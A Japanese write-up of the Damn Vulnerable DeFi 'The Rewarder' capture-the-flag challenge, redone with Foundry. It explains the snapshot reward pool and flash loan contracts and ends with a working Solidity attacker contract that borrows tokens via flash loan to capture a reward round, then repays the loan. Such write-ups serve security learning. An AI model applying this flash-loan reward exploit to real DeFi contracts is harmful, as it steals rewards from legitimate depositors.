チャレンジ #4 - ザ・リワーダー#
ソリディティとファウンドリーのシステム学習のために、私はファウンドリーテストフレームワークを使用して、ダムナブルディフィの解答を再作成しました。ご意見交換や共同開発にご参加ください〜🎉
コントラクト#
この問題では、いくつかのコントラクトが関係していますが、まずは ERC20Snapshot コントラクトを紹介します。
ERC20Snapshot:ERC20 を継承し、SnapshotId を使用して各スナップショット時点のアカウント残高と総供給量を追跡できます。ERC20 トークンの transfer の前に、現在のスナップショット ID のアカウント残高と総供給を更新するために、beforeTransfer を使用します。通常、配当、投票、エアドロップなどのスナップショットシナリオに使用されます。
この問題では、RewardToken、AccountingToken、LiquidityToken、TheRewarderPool の 4 つのコンポーネントで構成されています。それらの関係は以下の通りです:
- TheRewarderPool は、deposit と withdraw のメソッドを提供します。
- deposit:ユーザーが liquidityToken を預け入れ、対応するアカウンティングトークンを発行し、現在のスナップショットラウンドで一定数の rewardToken を発行します。新しいスナップショットラウンドは 5 日ごとに行われます。
- withdraw:対応するアカウンティングトークンを焼却し、ユーザーが預け入れた liquidityToken をユーザーに移動します。
さらに、この問題ではフラッシュローンコントラクトも提供されており、liquidityToken をフラッシュローンで借りるために使用できます。
テスト#
- alice、bob、charlie、david の 4 人のユーザーを作成し、users として記録します。
- LiquidityToken FlashLoanerPool コントラクトをデプロイし、FlashLoanerPool に liquidityToken を TOKENS_IN_LENDER_POOL の数だけ転送します。
- TheRewarderPool(RewardToken と AccountingToken も含む)をデプロイします。
- users 配列をループして、各ユーザーに一定数の liquidityToken を転送し、TheRewarderPool に deposit します。この時点でラウンドは 1 です。
- ブロックのタイムスタンプを 5 日後に設定し、再度 users 配列をループして、distributeRewards をトリガーします。各ユーザーは rewardToken を均等に受け取ります。この時点でラウンドは 2 です。
- 攻撃スクリプトを実行します。
- 現在のラウンドが 3 であることを期待し、users 配列をループして、distributeRewards をトリガーします。各ユーザーが受け取る rewardToken は元の 1/4 以下です。
- player の rewardToken の残高が 0 より大きいことを期待します。
- player の liquidityToken の数が 0 であり、FlashLoanerPool の liquidityToken の数は変わらないことを期待します。
解答#
追加のユーザーアクションがない場合、次のラウンドでの報酬の配分は、users 配列の 4 人のユーザーが引き続き報酬を受け取ることを意味します。各ユーザーが受け取る rewardToken の量は、総数の 1/4 です。
テストスクリプトの期待値を達成するために、player は rewardToken の配分に参加する必要があります。これは、liquidityToken をフラッシュローンで借り出し、TheRewarderPool に deposit し、新しいラウンドの rewardToken の配分をトリガーすることで実現できます。その後、liquidityToken を引き出し、FlashLoanerPool に返却します。
攻撃コントラクトのコードは以下の通りです:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {TheRewarderPool, RewardToken} from "../../src/the-rewarder/TheRewarderPool.sol";
import "../../src/the-rewarder/FlashLoanerPool.sol";
import "../../src/DamnValuableToken.sol";
contract Attacker {
FlashLoanerPool flashloan;
TheRewarderPool pool;
DamnValuableToken dvt;
RewardToken reward;
address internal owner;
constructor(address _flashloan,address _pool,address _dvt,address _reward){
flashloan = FlashLoanerPool(_flashloan);
pool = TheRewarderPool(_pool);
dvt = DamnValuableToken(_dvt);
reward = RewardToken(_reward);
owner = msg.sender;
}
function attack(uint256 amount) external {
flashloan.flashLoan(amount);
}
function receiveFlashLoan(uint256 amount) external{
dvt.approve(address(pool), amount);
// deposit liquidity token get reward token
pool.deposit(amount);
// withdraw liquidity token
pool.withdraw(amount);
// repay to flashloan
dvt.transfer(address(flashloan), amount);
reward.transfer(owner, reward.balanceOf(address(this)));
}
}